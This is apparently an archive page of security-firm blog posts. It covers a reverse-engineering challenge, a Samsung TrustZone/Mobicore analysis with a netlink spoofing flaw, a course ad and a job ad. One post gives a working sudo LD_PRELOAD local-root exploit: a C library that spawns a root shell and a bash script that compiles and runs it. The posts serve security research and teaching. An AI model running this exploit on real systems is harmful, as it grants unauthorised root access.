Grey bar Blue bar
Share this:

Mon, 20 Jan 2014

January Get Fit Reversing Challenge

Aah, January, a month where resolutions usually flare out spectacularly before we get back to the couch in February. We'd like to help you along your way with a reverse engineering challenge put together by Siavosh as an introduction to reversing, and a bit of fun.

The Setup


This simple reversing challenge should take 4-10+ hours to complete, depending on your previous experience. The goal was to create an interactive challenge that takes you through different areas of the reverse engineering process, such as file format reverse engineering, behavioural and disassembly analysis.


Once you reached the final levels, you might need to spend some time understanding x86 assembly or spend some time refreshing it depending on your level. To help out, Siavosh created a crash course tutorial in x86 assembly for our malware workshop at 44con last year, and you can download that over here.


The zip file containing the reversing challenge and additional bytecode binaries could be found here.


Send your solution(s) to challenge at sensepost.com

The Scenario


You've been called into ACME Banks global headquarters to investigate a breach. It appears Evilgroup has managed to breach a server and deploy their own executable on it (EvilGroupVM.exe). The executable is software that accepts bytecode files and executes them, similar to how the Java Virtual Machine functions. Using this technique, Evilgroup hopes they can evade detection by antivirus software. Their OPSEC failure meant that both the virtual machine executable and several bytecode files were left behind after the cleanup script ran and it's your job to work out the instruction set of EvilGroupVM.exe.


Disclaimer: When using the term "virtual machine" we mean something like the Java Virtual Machine. A software based architecture that you can write programs for. This particular architecture, EvilGroupVM.exe, has nine instructions whose operation code (opcode) you need to find through binary reverse engineering.


The tools you will require are:


  • A hex editor (any will do)

  • A disassembler like IDA (the free version for Windows will work if you don't have a registered copy)

  • A debugger, Olly or WinDBG on Windows, Gnu GDB or EDB on Linux https://www.gnu.org/software/gdb/


Basic Usage: Unzip the reverseme folder, open a command line and cd to it. Depending on operating system, type
Windows: EvilGroupVM.exe <BytecodeFile>
Ubuntu Linux: ./EvilGroupVM <BytecodeFile>

For example, to run the helloworld bytecode file on Windows, you would type:
EvilGroupVM.exe helloworld

IMPORTANT: Note that the EvilGroupVM.exe architecture has debugging capabilities enabled. This means, it has one instruction that shows you the thread context of a binary when it is hit. Once you start developing your own bytecode binaries, it is possible to debug them (but you need to find the debug instruction/opcode first).


The outcome of this exercise should include the following key structures in your report:


  1. A description of the binary file format. For example:

    • What does the bytecode file header look like?

    • What determines where execution will start once the bytecode is loaded in the VM?

    • Does the architecture contain other parts of memory (like a stack) where it can store data and operate on them?


  2. The instruction set including their impact on the runtime memory. You should:


    • Find all instructions that the EvilGroupVM.exe accepts

    • Analyse each of them and understand how they make changes to the runtime memory of the bytecodes thread


  3. Write a proof of concept self modifying bytecode file that prints your name to the screen. The binary must be self modifying, that is, you may not use the "print_char" instruction directly, rather, the binary must modify itself if it wants to make use of "print_char".

  4. For the advanced challenge, if you have the ability and time, send us back a C file that, when compiled, will give an almost exact match compared to EvilGroupVM (Ubuntu Linux) or EvilGroupVM.exe (Windows). Focus on getting pointer arithmetic and data structures correct.


In case you missed it earlier, the zip file containing the reversing challenge and additional bytecode binaries could be found here.


Send your solution(s) to challenge at sensepost.com


Good luck!

Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?


For lack of deeper understanding I googled around the issue and came across http://www.catonmat.net/blog/simple-ld-preload-tutorial which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.


So after a little fiddling I came up with the following creature:



/* gcc -Wall -fPIC -shared -o myfopen.so myfopen.c */
/* http://www.catonmat.net/blog/simple-ld-preload-tutorial/ */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
{
unlink("/tmp/sandwich");
system("/bin/bash");
}
else
{
//printf("fake fopen: not active \n");
}
return NULL;
}

which could be invoked via



#!/bin/bash
touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/myfopen.so /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.


On a side note: the header of his sploit says:



# http://www.exploit-db.com/exploits/7129/
#
#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/www.com-winner.com
#
# Most lame exploit EVER!
#
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
#
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz
# I'M GONNA GRAB A COFFE NOW;HAVE PHUN !!!

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.


So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.




1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 # http://www.exploit-db.com/exploits/7129/
7 #
8 # "re-discovered" in 2013 by
9 # george@sensepost.com
10 #
11
12
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
17
18
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
24
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/sandwich.so");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
37
38 _EOF
39
40
41 gcc -fPIC -shared -o /tmp/sandwich.so /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/sandwich.so $1
43

Thu, 6 Jun 2013

A software level analysis of TrustZone OS and Trustlets in Samsung Galaxy Phone

Introduction:


New types of mobile applications based on Trusted Execution Environments (TEE) and most notably ARM TrustZone micro-kernels are emerging which require new types of security assessment tools and techniques. In this blog post we review an example TrustZone application on a Galaxy S3 phone and demonstrate how to capture communication between the Android application and TrustZone OS using an instrumented version of the Mobicore Android library. We also present a security issue in the Mobicore kernel driver that could allow unauthorised communication between low privileged Android processes and Mobicore enabled kernel drivers such as an IPSEC driver.


Mobicore OS :


The Samsung Galaxy S III was the first mobile phone that utilized ARM TrustZone feature to host and run a secure micro-kernel on the application processor. This kernel named Mobicore is isolated from the handset's Android operating system in the CPU design level. Mobicore is a micro-kernel developed by Giesecke & Devrient GmbH (G&D) which uses TrustZone security extension of ARM processors to create a secure program execution and data storage environment which sits next to the rich operating system (Android, Windows , iOS) of the Mobile phone or tablet. The following figure published by G&D demonstrates Mobicore's architecture :

Overview of Mobicore (courtesy of G&D)


A TrustZone enabled processor provides "Hardware level Isolation" of the above "Normal World" (NWd) and "Secure World" (SWd) , meaning that the "Secure World" OS (Mobicore) and programs running on top of it are immune against software attacks from the "Normal World" as well as wide range of hardware attacks on the chip. This forms a "trusted execution environment" (TEE) for security critical application such as digital wallets, electronic IDs, Digital Rights Management and etc. The non-critical part of those applications such as the user interface can run in the "Normal World" operating system while the critical code, private encryption keys and sensitive I/O operations such as "PIN code entry by user" are handled by the "Secure World". By doing so, the application and its sensitive data would be protected against unauthorized access even if the "Normal World" operating system was fully compromised by the attacker, as he wouldn't be able to gain access to the critical part of the application which is running in the secure world.

Mobicore API:


The security critical applications that run inside Mobicore OS are referred to as trustlets and are developed by third-parties such as banks and content providers. The trustlet software development kit includes library files to develop, test and deploy trustlets as well as Android applications that communicate with relevant trustlets via Mobicore API for Android. Trustlets need to be encrypted, digitally signed and then remotely provisioned by G&D on the target mobile phone(s). Mobicore API for Android consists of the following 3 components:


1) Mobicore client library located at /system/lib/libMcClient.so: This is the library file used by Android OS or Dalvik applications to establish communication sessions with trustlets on the secure world


2) Mobicore Daemon located at /system/bin/mcDriverDaemon: This service proxies Mobicore commands and responses between NWd and SWd via Mobicore device driver


3) Mobicore device driver: Registers /dev/mobicore device and performs ARM Secure Monitor Calls (SMC) to switch the context from NWd to SWd


The source code for the above components can be downloaded from Google Code. I enabled the verbose debug messages in the kernel driver and recompiled a Samsung S3 kernel image for the purpose of this analysis. Please note that you need to download the relevant kernel source tree and stock ROM for your S3 phone kernel build number which can be found in "Settings->About device". After compiling the new zImage file, you would need to insert it into a custom ROM and flash your phone. To build the custom ROM I used "Android ROM Kitchen 0.217" which has the option to unpack zImage from the stock ROM, replace it with the newly compiled zImage and pack it again.


By studying the source code of the user API library and observing debug messages from the kernel driver, I figured out the following data flow between the android OS and Mobicore to establish a session and communicate with a trustlet:


1) Android application calls mcOpenDevice() API which cause the Mobicore Daemon (/system/bin/mcDriverDaemon) to open a handle to /dev/mobicore misc device.


2) It then allocates a "Worlds share memory" (WSM) buffer by calling mcMallocWsm() that cause the Mobicore kernel driver to allocate wsm buffer with the requested size and map it to the user space application process. This shared memory buffer would later be used by the android application and trustlet to exchange commands and responses.


3) The mcOpenSession() is called with the UUID of the target trustlet (10 bytes value, for instance : ffffffff000000000003 for PlayReady DRM truslet) and allocate wsm address to establish a session with the target trustlet through the allocated shared memory.


4) Android applications have the option to attach additional memory buffers (up to 6 with maximum size of 1MB each) to the established session by calling mcMap() API. In case of PlayReady DRM trustlet which is used by the Samsung VideoHub application, two additional buffers are attached: one for sending and receiving the parameters and the other for receiving trustlet's text output.


5) The application copies the command and parameter types to the WSM along with the parameter values in second allocated buffer and then calls mcNotify() API to notify the Mobicore that a pending command is waiting in the WSM to be dispatched to the target trustlet.


6) The mcWaitNotification() API is called with the timeout value which blocks until a response received from the trustlet. If the response was not an error, the application can read trustlets' returned data, output text and parameter values from WSM and the two additional mapped buffers.


7) At the end of the session the application calls mcUnMap, mcFreeWsm and mcCloseSession .


The Mobicore kernel driver is the only component in the android operating system that interacts directly with Mobicore OS by use of ARM CPU's SMC instruction and Secure Interrupts . The interrupt number registered by Mobicore kernel driver in Samsung S3 phone is 47 that could be different for other phone or tablet boards. The Mobicore OS uses the same interrupt to notify the kernel driver in android OS when it writes back data.


Analysis of a Mobicore session:


There are currently 5 trustlets pre-loaded on the European S3 phones as listed below:


shell@android:/ # ls /data/app/mcRegistry


00060308060501020000000000000000.tlbin
02010000080300030000000000000000.tlbin
07010000000000000000000000000000.tlbin
ffffffff000000000000000000000003.tlbin
ffffffff000000000000000000000004.tlbin
ffffffff000000000000000000000005.tlbin


The 07010000000000000000000000000000.tlbin is the "Content Management" trustlet which is used by G&D to install/update other trustlets on the target phones. The 00060308060501020000000000000000.tlbin and ffffffff000000000000000000000003.tlbin are DRM related truslets developed by Discretix. I chose to analyze PlayReady DRM trustlet (ffffffff000000000000000000000003.tlbin), as it was used by the Samsung videohub application which is pre-loaded on the European S3 phones.


The videohub application dose not directly communicate with PlayReady trustlet. Instead, the Android DRM manager loads several DRM plugins including libdxdrmframeworkplugin.so which is dependent on libDxDrmServer.so library that makes Mobicore API calls. Both of these libraries are closed source and I had to perform dynamic analysis to monitor communication between libDxDrmServer.so and PlayReady trustlet. For this purpose, I could install API hooks in android DRM manager process (drmserver) and record the parameter values passed to Mobicore user library (/system/lib/libMcClient.so) by setting LD_PRELOAD environment variable in the init.rc script and flash my phone with the new ROM. I found this approach unnecessary, as the source code for Mobicore user library was available and I could add simple instrumentation code to it which saves API calls and related world shared memory buffers to a log file. In order to compile such modified Mobicore library, you would need to the place it under the Android source code tree on a 64 bit machine (Android 4.1.1 requires 64 bit machine to compile) with 30 GB disk space. To save you from this trouble, you can download a copy of my Mobicore user library from here. You need to create the empty log file at /data/local/tmp/log and replace this instrumented library with the original file (DO NOT FORGET TO BACKUP THE ORIGINAL FILE). If you reboot the phone, the Mobicore session between Android's DRM server and PlayReady trustlet will be logged into /data/local/tmp/log. A sample of such session log is shown below:



The content and address of the shared world memory and two additional mapped buffers are recorded in the above file. The command/response format in wsm buffer is very similar to APDU communication in smart card applications and this is not a surprise, as G&D has a long history in smart card technology. The next step is to interpret the command/response data, so that we can manipulate them later and observe the trustlet behavior. The trustlet's output in text format together with inspecting the assembly code of libDxDrmServer.so helped me to figure out the PlayReady trustlet command and response format as follows:


client command (wsm) : 08022000b420030000000001000000002500000028023000300000000500000000000000000000000000b0720000000000000000


client parameters (mapped buffer 1): 8f248d7e3f97ee551b9d3b0504ae535e45e99593efecd6175e15f7bdfd3f5012e603d6459066cc5c602cf3c9bf0f705b


trustlet response (wsm):08022000b420030000000081000000002500000028023000300000000500000000000000000000000000b0720000000000000000


trustltlet text output (mapped buffer 2):


==================================================


SRVXInvokeCommand command 1000000 hSession=320b4


SRVXInvokeCommand. command = 0x1000000 nParamTypes=0x25


SERVICE_DRM_BBX_SetKeyToOemContext - pPrdyServiceGlobalContext is 32074


SERVICE_DRM_BBX_SetKeyToOemContext cbKey=48


SERVICE_DRM_BBX_SetKeyToOemContext type=5


SERVICE_DRM_BBX_SetKeyToOemContext iExpectedSize match real size=48


SERVICE_DRM_BBX_SetKeyToOemContext preparing local buffer DxDecryptAsset start - iDatatLen=32, pszInData=0x4ddf4 pszIntegrity=0x4dde4


DxDecryptAsset calling Oem_Aes_SetKey DxDecryptAsset


calling DRM_Aes_CtrProcessData DxDecryptAsset


calling DRM_HMAC_CreateMAC iDatatLen=32 DxDecryptAsset


after calling DRM_HMAC_CreateMAC DxDecryptAsset


END SERVICE_DRM_BBX_SetKeyToOemContext


calling DRM_BBX_SetKeyToOemContext


SRVXInvokeCommand.id=0x1000000 res=0x0


==============================================


By mapping the information disclosed in the trustlet text output to the client command the following format was derived:


08022000 : virtual memory address of the text output buffer in the secure world (little endian format of 0x200208)


b4200300 : PlayReady session ID


00000001: Command ID (0x1000000)


00000000: Error code (0x0 = no error, is set by truslet after mcWaitNotification)


25000000: Parameter type (0x25)


28023000: virtual memory address of the parameters buffer in the secure world (little endian format of 0x300228)


30000000: Parameters length in bytes (0x30, encrypted key length)


05000000: encryption key type (0x5)


The trustlet receives client supplied memory addresses as input data which could be manipulated by an attacker. We'll test this attack later. The captured PlayReady session involved 18 command/response pairs that correspond to the following high level diagram of PlayReady DRM algorithm published by G&D. I couldn't find more detailed specification of the PlayReady DRM on the MSDN or other web sites. But at this stage, I was not interested in the implementation details of the PlayReady schema, as I didn't want to attack the DRM itself, but wanted to find any exploitable issue such as a buffer overflow or memory disclosure in the trustlet.

DRM Trustlet diagram (courtesy of G&D)


Security Tests:


I started by auditing the Mobicore daemon and kernel driver source code in order to find issues that can be exploited by an android application to attack other applications or result in code execution in the Android kernel space. I find one issue in the Mobicore kernel API which is designed to provide Mobicore services to other Android kernel components such as an IPSEC driver. The Mobicore driver registers Linux netLink server with id=17 which was intended to be called from the kernel space, however a Linux user space process can create a spoofed message using NETLINK sockets and send it to the Mobicore kernel driver netlink listener which as shown in the following figure did not check the PID of the calling process and as a result, any Android app could call Mobicore APIs with spoofed session IDs. The vulnerable code snippet from MobiCoreKernelApi/main.c is included below.



An attacker would need to know the "sequence number" of an already established netlink connection between a kernel component such as IPSEC and Mobicore driver in order to exploit this vulnerability. This sequence numbers were incremental starting from zero but currently there is no kernel component on the Samsung phone that uses the Mobicore API, thus this issue was not a high risk. We notified the vendor about this issue 6 months ago but haven't received any response regarding the planned fix. The following figures demonstrate exploitation of this issue from an Android unprivileged process :

Netlink message (seq=1) sent to Mobicore kernel driver from a low privileged process


Unauthorised netlink message being processed by the Mobicore kernel driver


In the next phase of my tests, I focused on fuzzing the PlayReady DRM trustlet that mentioned in the previous section by writing simple C programs which were linked with libMcClient.so and manipulating the DWORD values such as shared buffer virtual address. The following table summarises the results:
wsm offsetDescriptionResults
0Memory address of the mapped output buffer in trustlet process (original value=0x08022000)for values<0x8022000 the fuzzer crashed


values >0x8022000 no errors

41memory address of the parameter mapped buffer in trusltet process (original value=0x28023000)0x00001000<value<0x28023000 the fuzzer crashed


value>=00001000 trustlet exits with "parameter refers to secure memory area"


value>0x28023000 no errors

49Parameter length (encryption key or certificate file length)For large numbers the trustlet exits with "malloc() failed" message

The fuzzer crash indicated that Mobicore micro-kernel writes memory addresses in the normal world beyond the shared memory buffer which was not a critical security issue, because it means that fuzzer can only attack itself and not other processes. The "parameter refers to secure memory area" message suggests that there is some sort of input validation implemented in the Mobicore OS or DRM trustlet that prevents normal world's access to mapped addresses other than shared buffers. I haven't yet run fuzzing on the parameter values itself such as manipulating PlayReady XML data elements sent from the client to the trustlet. However, there might be vulnerabilities in the PlayReady implementation that can be picked up by smarter fuzzing.


Conclusion:


We demonstrated that intercepting and manipulating the worlds share memory (WSM) data can be used to gain better knowledge about the internal workings of Mobicore trustlets. We believe that this method can be combined with the side channel measurements to perform blackbox security assessment of the mobile TEE applications. The context switching and memory sharing between normal and secure world could be subjected to side channel attacks in specific cases and we are focusing our future research on this area.

Thu, 23 May 2013

Stay low, move fast, shoot first, die last, one shot, one kill, no luck, pure skill ...


We're excited to be presenting our Hacking By Numbers Combat course again at Black Hat USA this year. SensePost's resident German haxor dude Georg-Christian Pranschke will be presenting this year's course. Combat fits in right at the top of our course offerings. No messing about, this really is the course where your sole aim is to pwn as much of the infrastructure and applications as possible. It is for the security professional looking to hone their skill-set, or to think like those in Unit 61398. There are a few assumptions though:


  • you have an excellent grounding in terms of infrastructure - and application assessments

  • you aren't scared of tackling systems that aren't easily owned using Metasploit

  • gaining root is an almost OCD-like obsession

  • there are no basic introductions into linux, shells, pivoting etc.


As we've always said, it is quite literally an all-hack, no-talk course. We are not going to dictate what tools or technologies get used by students. We don't care if you use ruby or perl or python to break something (we do, actually - we don't like ruby), just as long as it gets broken. The Combat course itself is a series of between 12 and 15 (depending on time) capture the flag type exercises presented over a period of two days. The exercises include infrastructure, reverse engineering and crypto.


These targets come from real life assessments we've faced at SensePost, it's about as real as you can get without having to do the report at the end of it. How it works is that candidates are presented with a specific goal. If the presenter is feeling generous at the time, they may even get a description of the technology. After that, they'll have time to solve the puzzle. Afterwards, there will be a discussion about the failings, takeaways and alternate approaches adopted by the class. The latter is normally fascinating as (as anybody in the industry knows), there are virtually a limitless number of different ways to solve specific problems. This means that even the instructor gets to learn a couple of new tricks (we also have prizes for those who teach them enough new tricks).


In 2012, Combat underwent a massive rework and we presented a virtually new course which went down excellently. We're aiming to do the same this year, and to make it the best Combat course ever. So if you're interested in spending two days' worth of intense thinking solving some fairly unique puzzles and shelling boxen, join us for HBN Combat at BlackHat USA.

Sat, 2 Mar 2013

IT Network Packet Wrangler


As we grow and operate on a number of continents, so does our dependence on a rock-solid IT infrastructure. We are expanding our repertoire to include a greater collection of Linux/Open Source/Windows and OS X products. With this, we are on the look-out for a rock star to wrangle control of our internal networks, external cloud infrastructure and help us us utilise technology in a way to make us even better.


Job Title: IT Network Packet Wrangling Penguin Master


Salary Range: Industry standard, commensurate with experience


Location: Johannesburg/Pretoria, South Africa


Real Responsibilities:


  • Managing a growing internal network, both in ZA and UK and increased cloud-based infrastructure

  • Championing the adoption of new technologies, ways of working and being incredibly excited about security. Yes, we like that type of person who scoffs at the idea of using a plain-text protocol


As a system / network administrator your daily duties and responsibilities will include:

  • Providing day-to-day Desktop, Server and Network administration, including helping plakkers (the name we give to all who work at SensePost) with their devices

  • Be capable of using a variety of operating systems

  • Ensuring our disaster recovery plan is working as it should

  • Being the go to person to all those who require assistance with their IT

  • Maintaining and administer the telecommunications system

  • Administering the network to ensure that the systems in place run effectively and securely (we are, after all, a security company!)

  • A real passion for finding technology led solutions to problems.

  • Be excited about Unix firewalls, Cisco routers, wrangling network packets, VPN tunnelling and Wi-Fi

  • Able to hold a conversation and smile when mentioning SMTP/HTTP/IMAP/Python


Not essential, but bonus points for:

  • Actually getting a linux laptop to use an overhead projector, without resorting to swear words in Spanish and Afrikaans

  • Administering a Windows server without complaining, at all, not once, in fact, you actually kinda enjoy it.

  • Being really passionate about security and showing it doesn't have to get in the way of working productively.


If the above has got you thinking 'weird, it's like they are talking to me bru!' then we want to hear from you. Send us a carrier pigeon message or send us a mail